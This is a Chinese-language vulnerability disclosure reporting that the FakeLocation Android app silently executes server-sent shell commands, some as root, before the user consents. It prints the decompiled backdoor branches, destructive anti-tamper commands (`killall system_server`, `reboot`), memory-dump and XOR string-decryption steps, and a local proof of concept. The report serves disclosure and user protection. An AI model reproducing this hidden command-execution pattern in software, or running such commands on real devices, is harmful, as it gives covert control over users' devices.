FakeLocation 未公开执行服务端下发的 shell 命令

报告人: tyldx · tyldx@proton.me · 2026-11 · 修订版 1.3

1. 摘要

FakeLocation 是一款 Android 应用, 让用户模拟设备的 GPS 定位, 用于模拟定位与路线模拟; 其可选的 ROOT 模式需用户授予 root 权限。执行服务端下发的 shell 命令并非实现该用途所必需, 也不属于应用已公开 的功能。

已检查的全部版本均受影响: 1.3.2.1、1.3.2.2、1.3.2.3、1.3.5、1.3.5-beta、1.3.10、1.5.0、1.5.2 (versionCode 1579-1702), 区间内其余版本推定受影响。1.3.2.1 为 APKPure 上可获取的最早版本, APKPure 收录于 2023-02-24, 即该能力 不晚于 2023 年 2 月即已存在。在受影响版本中, 客户端 未经用户确认即解析并执行特定接口 响应中的 shell 命令。存在三条此类服务端可控路径, 服务端只要让响应以 `10000:` 开头或返回 `code==10000`, 应用即以应用权限执行任意命令; 其中两条经 `su` 执行, 仅在应用已获 root 时命令才以 root 身份运行。其中一条在启动时、用户同意首启条款之前即触发 (实测); 另一条经启动时发出的配置请求与 版本检查触发, 在除 Play 1.5.2 外的所有已检查构建上经 `su` 执行 (官网/GitHub 1.5.2 的版本检查已在同意前实测; 配置请求仍仅经静态分析确认)。隐私政策与用户协议均未披露此能力。

自 1.3.10 起, 该能力仅存在于运行时解密的 dex 中, 并用加壳、字符串加密、命令字符串拆段等方式隐藏; 已检查的更早版本未加壳, 相关代码可直接从 APK 反编译得到。证书锁定使任意 网络攻击者无法通过中间人触发这些路径 (基于静态分析); 可触发方为: 运营服务器并持有其私钥的开发者, 以及攻破该服务器或窃取私钥者, 后者会波及所有运行受影响版本的设备。

2. 受影响产品

- 名称: Fake Location (Google Play 名 "Fake Location - Mock GPS&Route")。
- 两个构建:
  - 官网/GitHub 版: 包名 `com.lerist.fakelocation` (代码 flavor=CN), 经官网 fakeloc.cc/app 与 GitHub Releases (Lerist/FakeLocation) 分发, 不在任何应用商店。
  - Play 版: 包名 `dev.lerist.fakelocation`, Google Play 分发 (50K+ 安装, 截至 2026-11-05)。
- 开发者: Lerist / 成都览一科技有限公司。
- 已检查版本: 1.3.2.1 (versionCode 1579)、1.3.2.2 (1584)、1.3.2.3 (1585)、1.3.5 (1588)、1.3.5-beta (1593)、1.3.10 (1673) (以上为 Play 构建)、1.5.0 (1700 官网/GitHub, 1701 Play)、1.5.2 (1702, 两构建), 均确认受影响。各通道出现的 版本不同: 通道二 (配置接口 `app/getAppConfigs`) 在已检查的最早版本 1.3.2.1 中已存在; 通道一 (getNotices) 在 1.3.5-beta 与 1.3.10 (APKPure 收录于 2025-10-31) 之间引入; 通道三仅见于官网/GitHub 版。 1.3.2.1 是 APKPure 上可获取的最早版本, 更早版本无法获取; 1579-1702 区间内其余公开版本未逐一检查, 推定受影响。versionCode 非连续。
- 签名证书: `b55e7f6ccb63318b2cc4d3c45e6b148131061a2acd0a82725fe59e118d1ddafc` (CN=Lerist., O=成都览一科技有限公司; 官网/GitHub 版全部, 及旧 Play <=1.3.5-beta); `d9ad7175f80ebed780b0c7c61b7c788827ad4d1953e0381feddd2fa0431f0362` (CN=Lerist., O=Lerist)。Play 版自 1.3.10 起为 APK Signature Scheme v3.1 密钥轮换签名: API 33 及以上用 d9ad, API 24-32 仍用 b55e。
- 样本 SHA-256 (已检查最早版本、通道一引入前后, 以及 1.5.2 两个构建):

版本	versionCode	渠道	受影响	样本	SHA-256
1.3.2.1	1579	Play (apkpure)	是 (已检查最早版本, 通道二)	apkpure_1.3.2.1.apk	`ed860aaf7dd52bce0873ba96d6f7e5aa263ce71ee68b8758bbade4f19cd1148a`
1.3.5-beta	1593	Play (apkpure)	是 (通道二; 尚无通道一)	apkpure_1.3.5-beta.xapk	`fd569fe0a89e3b733ca02c84862c997da442d1bb05fd7329d2d0954d1ce6594f`
1.3.10	1673	Play (apkpure)	是 (通道一首次出现)	apkpure_1.3.10.xapk	`eb625139e9f55e0627516c52d651a58f0b9b5bbbe3e5f0d71960c3136c42b135`
1.5.0	1700	官网/GitHub (CN)	是	github CN 1.5.0 apk	`7b78f2e9c0f06fdd7f44379f241cd2959f476f6958bb1bb215ebcd796651cd4b`
1.5.2	1702	官网/GitHub (CN)	是	单一 apk (官网与 GitHub 一致)	`5d2a2bad585e3d50c38621a002bcf7a8e0dcf5448fc045f58619fe7a491eaea1`
1.5.2	1702	Play	是	base.apk (app bundle)	`a4fa13cd318d6ad392bd6033a93e40bac5ac1eff90b65d7c526033aa8f679d24`

apkpure 的 1.3.5-beta/1.3.10 样本是 `.xapk` 容器 (打包的分包 APK), 哈希为容器哈希; Play 1.5.2 为 app bundle, 上表哈希为其 `base.apk`。

3. 漏洞类型

- 主: CWE-912 Hidden Functionality (隐藏功能)。此分类不要求判定意图, 仅需该功能未公开、超出规格、 用户无正常途径感知, 本报告据此评估。
- 相关: CWE-506 Embedded Malicious Code。结合加壳、字符串加密、命令拆段、静默执行等隐蔽手段, 该功能 呈现后门特征; 是否恶意属意图判断, 本报告以可观察事实为准, 此分类仅作参考。

4. 技术细节: 三条服务端可控 RCE 通道

混淆名取自对应版本的反编译 (1.3.10 起为运行时解密的 dex, 更早版本为 APK 本身)。以 Play 版 1.5.2 为主, 官网/GitHub 版对应类一并给出。 三条通道共用同一命令出口 (Play `fv2.e(String[] cmds, boolean su, boolean b)` / 官网/GitHub 版 `z41`、`C13588.m51168`):

```
Process p = Runtime.getRuntime().exec(su ? "su" : "sh");  // 命令经 stdin 写入
```

4.1 通道一: getNotices → sh (两构建)

公告类 (Play `com.lerist.lib.notice.C6073` / 官网-GitHub 版 `C11241`) 在 getNotices 响应回调中:

```
String s = response.body().string();
if (s.startsWith("10000:")) {
    Runtime.getRuntime().exec(new String[]{"sh", "-c", s.substring(6)});
}
// 随后把 s 当作公告 JSON 解析, 对 "10000:..." 会抛异常并被 catch 吞掉
```

接口 `POST https://notice.api.fakeloc.cc:4430/Notice/getNotices`, 在应用启动的加载阶段请求; 其响应 一到达即被求值 `startsWith("10000:")`, 独立于首次安装的同意流程。实测 (见 6): 首装态下, 命令在首次 同意框仍显示、用户尚未点击"同意"时即已执行, 无需任何交互; 该行为也不在用户所同意的条款授权范围内 (见 4.4)。执行不读输出、不记日志、异常吞没, 用户无感。

4.2 通道二: 通用回调 code==10000 → su + sh (两构建)

同步回调 (Play `C3685.m13605`) 处理 Retrofit 响应包装对象, 失败分支:

```
int code = resp.getCode();
String message = resp.getMessage();
if (code == 10000 && !TextUtils.isEmpty(message)) {
    fv2.<exec>(message, /*su=*/true,  ...);  // su 执行
    fv2.<exec>(message, /*su=*/false, ...);  // sh 执行
}
```

走此同步回调 (su+sh) 的接口之一是 `POST /FakeLocation/goods/getRenewalGoodsList` (打开续费页时请求)。 官网/GitHub 版同步回调为 `C5901.m19381`, 语义相同。

另有异步回调变体, 走它的接口包括版本检查 `version/checkApkUpdate`。该请求在 `MainActivity.onCreate` 中无条件发出, 与通道一的 getNotices 位于同一函数 (官网/GitHub 版 `MainActivity.C11127.m44656`), 即与 通道一同时、早于用户同意。异步变体的执行方式因构建而异:

- Play 1.5.2 (`C3685.AbstractC3687.m13609`, 回调 `C5946`): 对 `code==10000` 仅执行 sh, 以应用 uid 运行。
- 官网/GitHub 版 (`C5901.AbstractC5903.mo959`, 回调 `C11075`) 及 Play 1.5.0 和更早版本 (如 1.5.0 `C4606.AbstractC4608`): 与同步回调相同, su 与 sh 各执行一次, 即启动时无需交互即可以 root 执行。

版本检查回调对 2002 以外的错误码在 5 秒后重发请求, `code==10000` 也走此分支; 服务端持续返回 10000 时, 每次收到该响应都会再次执行命令。官网/GitHub 1.5.2 的持续注入实测记录了 19 次 root 输出, 相邻输出约隔 6 至 8 秒 (含请求与执行耗时), 并非严格每 5 秒一次。

配置接口 `app/getAppConfigs` 同样走异步回调变体 (官网/GitHub 版 `C3440.m14629`, 回调 `C3445`; Play 版 `C3071.m12188`, 回调 `C3076`), 执行方式随构建同上。它由 `Application.onCreate` (仅主进程) 经 `lv0.m5558` (Play 版 `hj2.m2797`) 发起, 早于任何 Activity 与同意流程; 唯一前置条件是一项 native 完整性 校验 (`SwipeUtils.isQualified`, 正版应用可通过)。失败或 `code==10000` 时同样 5 秒后重试。该接口的 10000 分支在已检查的最早版本中即已存在: 1.3.2.1、1.3.2.2、1.3.2.3、1.3.5、1.3.5-beta、1.3.10 的配置回调 (如 1.3.5-beta `C3301`、1.3.10 `C2360`) 在 `code==10000` 时经 su 与 sh 各执行一次, 同样在 `Application.onCreate` 中 请求。

4.3 通道三: 黑名单轮询 ver/vfs code==10000 → su + sh (仅官网/GitHub 版)

后台线程 (`RunnableC13518`, 由 `C13538.m51102` 在应用 ROOT 模式激活时启动) 启动 20 至 50 秒后 进入循环, 每 2 至 7 分钟检查一次, 仅当本地包名列表为空或已超过 24 小时才 `POST ver/vfs` 拉取禁止模拟 定位的包名列表, 正常约一天请求一次; 响应 `code==10000 && message 非空` 时:

```
C13588.m51168(new String[]{message}, /*su=*/true,  true);  // su
C13588.m51168(new String[]{message}, /*su=*/false, true);  // sh
```

此通道独立于界面, 在后台运行。`code==10000` 响应不会填充列表, 下一轮 (2 至 7 分钟后) 会再次请求, 因此服务端一旦以命令代替列表, 即可每 2 至 7 分钟执行一次。Play 版未发现此线程。

4.4 传输与隐蔽

- 服务端 `*.api.fakeloc.cc:4430`, 备用 `*.lerist.dev`; DNS 走 DoH。
- 双向 TLS, 证书锁定到 Lerist 自签服务端证书 (`xp0.m10346` , BKS, 口令写死在代码; 公开版略去具体值)。信任库 `tp.png` 锁定服务端证书 (指纹 `60:5C:2B...` , 私钥不在应用内); 客户端证书 `tl.png` 含客户端 私钥 (指纹 `F1:11:05...` , 仅能冒充客户端)。两构建 `tp.png` 字节相同, 且同一信任库自已检查的最早版本 1.3.2.1 起 字节相同 (1.3.10 之前文件名为 `transparent.png` / `translucent.png`), 故第 5 节的可触发方结论适用于 全部受影响版本。主机名校验 (`HostnameVerifier.verify`) 恒返回 true, 属潜在弱点。
- 隐蔽: 自 1.3.10 起, 业务代码仅存在于运行时解密的 dex (官网/GitHub 版 360 加固, Play 版自有加载器), 直接解包 APK 不可见 (已检查的更早版本未加壳); 字符串 XOR 加密; 敏感命令拆段拼接; 不记日志、异常吞没。
- 未授权: 隐私政策、用户协议、使用条款均未披露远程命令执行。协议中唯一涉及服务端控制的条款是《屏蔽作用的 APP 名单》(用户协议第 5.3 条), 原文为"我们有权主动识别并对已知的、易被 用于非法、欺诈、侵犯第三方权益或违反其他应用服务条款的高风险应用（APP），采取技术措施进行功能作用 屏蔽，并同步更新《屏蔽作用的APP名单》，被屏蔽作用的应用（APP）将不能使用本软件的模拟数据", 范围限于禁用模拟功能, 不涉及执行 shell/root 命令。 ROOT 风险提示也只说授予 root 会降低设备安全, 未告知应用会执行服务端下发的命令。故该功能既未披露, 亦不在用户所同意的授权范围内。
- 公开文本 (2026-11-04 至 06 存档) 均未披露远程命令执行: 隐私政策 https://archive.today/OK0Jk (2026-11-04); 用户协议 https://archive.today/PlS7t (中文, 2026-11-06)、https://archive.today/Iulzs (英文, 2026-11-04); 使用条款 https://archive.today/MyhhH (2026-11-04); 下载页 https://archive.today/ZMnTg (2026-11-04)。

5. 影响与评级

- 能让接口返回上述指令的一方可在安装受影响版本的设备上执行任意 shell 命令; 应用已获 root 时 (该应用 ROOT 模式本就要求授予 root) 通道二、三以 root 执行。通道一在启动时、用户同意任何条款之前自动触发, 无需交互; 除 Play 1.5.2 外, 各已检查构建的通道二 (配置请求、版本检查) 同样在启动时触发, 并经 su 执行。构建到期机制 (见 8) 到期后通道三 (轮询) 停止, 通道一、二不受影响。
- 由于证书锁定且服务端私钥不在应用内, 任意第三方无法通过网络中间人触发 (基于静态分析)。实际可触发方为: 开发者本人 (持服务端私钥、运营服务器), 或攻破 Lerist 服务器/窃取其服务端私钥者。因此该功能既受开发者 控制, 也构成一处供应链单点: 一旦厂商基础设施被攻破, 即造成安装受影响版本设备的 RCE 与提权。
- CVSS v3.1 按通道分别评 (共同前缀 AV:N/AC:H/PR:N: 命令经网络下发, 需控制被证书锁定的服务端):
  - 通道一 (sh, 应用 uid): `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` = 8.1。命令限于应用自身权限 (S:U)。
  - 通道二, Play 1.5.2 (su, root, 需打开续费页; 启动时的配置请求与版本检查仅 sh, 同通道一): `AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H` = 8.3。
  - 通道二, 官网/GitHub 版与 Play 1.5.0 及更早 (su, root, 启动时配置请求/版本检查, 无需交互): `AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H` = 9.0。
  - 通道三 (su, root; 仅官网/GitHub 版, 需已激活 ROOT 模式, 激活后无需进一步交互): `AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H` = 9.0。
  - 整体 9.0 (Critical), 由官网/GitHub 版通道二、通道三达到; 其中通道二的启动路径已实测 (见 6), 故最高分 不依赖仅静态确认的通道三。口径说明: 若视厂商本人为攻击者 (对其无门槛) 取 AC:L, 各通道更高。
- CVSS v4.0 按通道分别评 (官方计算器):
  - 通道一 (sh, 应用 uid): `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` = 9.2。

- 通道二, Play 1.5.2 (su, root, 续费页): `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` = 9.0。
- 通道二, 官网/GitHub 版与 Play 1.5.0 及更早 (su, root, 启动时配置请求/版本检查): `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` = 9.5。
- 通道三 (su, root, 后台轮询): `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` = 9.5。
- 整体 9.5 (官网/GitHub 版通道二、通道三)。AT:P (通道二、三) 反映需已授予应用 root (通道三还需激活 ROOT 模式); SC/SI/SA:H 反映越出应用取得 root (通道二、三), 通道一仅应用范围故取 N。通道三仅静态确认, 把 Exploit Maturity 设为 E:U 或 E:P 会降低其分数。Play 1.5.2 通道二 (9.0) 低于通道一 (9.2), 是 AT:P 与 UI:P 扣分所致。

6. 概念验证

方法: LSPosed 模块仅 hook `okhttp3.internal.http.RealInterceptorChain.proceed`, 按请求 URL 改写 响应体, 触发应用自身的命令执行分支。不接触厂商服务器、不修改应用文件, 注入命令仅为 `id`。实测环境 Pixel 9 (KernelSU)。

构建	通道	触发方式	关键输出	验证
Play 1.5.2	一 (sh)	getNotices 响应改为 `10000:id>...`	`uid=10358(u0_a358) ... untrusted_app_34` (应用 uid)	实测
Play 1.5.2	二 (su)	打开续费页 → `goods/getRenewalGoodsList` 改为 `{"code":10000,...}`	`uid=0(root) ... u:r:ksu:s0`	实测
官网/GitHub 1.5.2	一 (sh)	getNotices 改写	`uid=10355(u0_a355) ... untrusted_app_27` (应用 uid)	实测
官网/GitHub 1.5.2	二 (su)	`goods/getRenewalGoodsList` 改写	`uid=0(root)`	实测
官网/GitHub 1.5.2	二 (su+sh)	同意前改写 `version/checkApkUpdate` 为 `code==10000`	`uid=0(root) ... u:r:ksu:s0`; sh 为 `uid=10355(u0_a355)`	实测
官网/GitHub 1.5.2	三 (su)	未触发	与通道二同一命令出口、同一 `code==10000` 机制	仅静态

通道一亦在同意前执行: 首装态下命令于首次同意框仍在屏、用户尚未点击"同意"时执行, 无需交互 (uiautomator 显示"同意"按钮在屏且未点击, topResumedActivity=MainActivity)。官网/GitHub 1.5.2 的版本检查 已单独实测: 同意框仍在屏时产生 root 输出, 另有应用 uid 的 sh 输出 (见 `poc/results/cn_checkapkupdate_preconsent_root.txt`、`cn_checkapkupdate_consent_screen.png`、`cn_checkapkupdate_su_sh_proof.txt`)。配置请求 `getAppConfigs` 未单独实测, 其 su+sh 分支仍据静态分析。 通道三 (轮询) 未实测驱动: 其线程需激活应用 ROOT 模式才启动 (会连带触发应用自身的注入与反篡改), 为避副作用未驱动。

边界: 此为客户端侧验证, 响应由本机注入, 证明客户端会执行服务端可控的命令, 未证明厂商服务器当前正在 下发。主证据是第 4 节的静态代码分支。厂商称其目前向盗版/破解版下发一条长时间 sleep 命令; 此说法未经 独立验证。

7. 复现与取证

- 运行时 dex 导出: 读 `/proc/<pid>/maps` 找解密 dex 区域 → dd 导出 → 按 dex 头 (大小偏移 32, class_defs 偏移 96) 切分 → jadx 反编译。字符串 XOR 解密算法: `明文[i] = a[i] ^ b[i % len(b)]`。
- 各版本关键类映射见上; 完整反编译与厂商 APK 未随本仓库分发 (厂商版权)。样本以第 2 节的 SHA-256 哈希标识。

8. 其他未公开行为 (佐证, 非核心)

以下为其他未公开行为。前两类服务端可控; 其余是本地自保护机制 (非服务端控制)。

服务端控制:

- 远程终止: 账号信息同步回调 (官网/GitHub 版 `ba2`) 对 `code == 9999` 先经 sh 执行 `kill -9 <自身 pid>`, 再 `System.exit(0)`, 服务端可远程结束客户端进程。
- 远程停用 (官网/GitHub 版; Play 版未确认): 注入 system_server 的 dex (`C0084` / `C0036`) 在 system_server 进程内以不带 TLS 的 TCP 连接 `vef.api.fakeloc.cc:12309`, 断连 30 分钟后改连 `vef.fl.api.lerist.dev`, 1 小时后改连写死的 IP `141.164.37.97`; 发送许可证数据与版本信息, 以 AES/CFB 加密 (密钥、IV 写死; 公开版略去具体值)。服务端回 `NOPASS.` 即停止模拟, 24 小时未收到 `pass.` 也停止。流量以 system_server 的 uid 1000 发出, 按应用 uid 的防火墙与流量统计无法归到本应用。

本地自保护 (仅官网/GitHub 版):

- 反篡改重启 (`RunnableC13526`): 对应用 files 目录执行 md5sum, 与内置哈希不符时, 若有 root 则约 60% 概率执行 `killall system_server` (软重启)、约 40% 执行 `reboot`, 另约 60% 概率退出进程; 命令字符串拆段 拼接以规避静态扫描。
- APK 完整性校验 (`C13595.m51176`): 校验版本名、版本号、包名、APK 大小、`libsa.so` 大小与 APK md5, 不符时只抛异常, 后续初始化 (通道三轮询、注入) 不再启动, 不触发重启。
- 构建到期机制: 构建时间戳 + 200 天, 到期后抛异常, 通道三 (轮询)、注入、初始化不再启动。 1.5.2 到期 2027-03-08, 1.5.0 已于 2026-10-26 到期。通道一、二不受此机制限制。

9. 用户处置建议

- 卸载 1.5.2 及更早版本 (已检查的最早受影响版本为 1.3.2.1, 更早版本未检查)。对更晚的版本, 先查看厂商修复情况与本报告的更新, 再决定是否继续使用。
- 撤销曾授予该应用的 root。
- 在已授 root 的设备上运行过受影响版本的, 应视为该设备可能已被下发过命令, 按受影响排查 (检查异常, 必要时重置)。

10. 披露时间线

- 2026-11-05: 向 MITRE 提交 CVE 申请。
- 2026-11-05: 公开本报告; 向 Google Play (违反从服务端下发并执行代码的政策) 与 GitHub (release 分发 含未公开代码的二进制) 举报。
- 2026-11-05: 另通过 Android Security Malware Report Form 向 Google 举报。
- 2026-11-05: 邮件向 CNCERT 举报。
- 2026-11-05: 发布后已邮件通知厂商, 并询问其是否会申请 CVE 编号。本报告未经事先协调披露即公开, 因为 受影响代码存在于以厂商证书签名的发布版本中, 且厂商的服务器可触发相关功能。厂商的

GitHub 仓库 (Lerist/FakeLocation) 已于 2026-08-20 被其归档。

- 2026-11-06: 厂商回复称该 shell 接口本意用于控制盗版/破解版, 目前仅向这些版本下发一条长时间 sleep 命令, 并称将在后续版本移除 su 的使用, 同时完善用户协议与隐私政策。上述说法未经独立验证, 且客户端代码 中并无将这些路径限定于盗版构建的限制 (依据第 4 节的分析)。厂商承诺的是移除 su 的使用, 未提及移除 shell 接口本身; 仅移除 su 时, 通道一及通道二、三的 sh 分支仍会以应用权限执行服务端下发的命令 (依据第 4 节)。
- 2026-11-07: 修订本报告 (1.3)。受影响范围扩大到 1.3.2.1 至 1.5.2; 补充启动时配置请求和版本检查以 su 执行、早于用户同意, 并附官网/GitHub 1.5.2 实测; 修正轮询频率、反篡改和签名等细节。

方法: 逆向与运行时内存导出, 仅用于安全披露。

11. 报告人

tyldx (github.com/tyldx), tyldx@proton.me。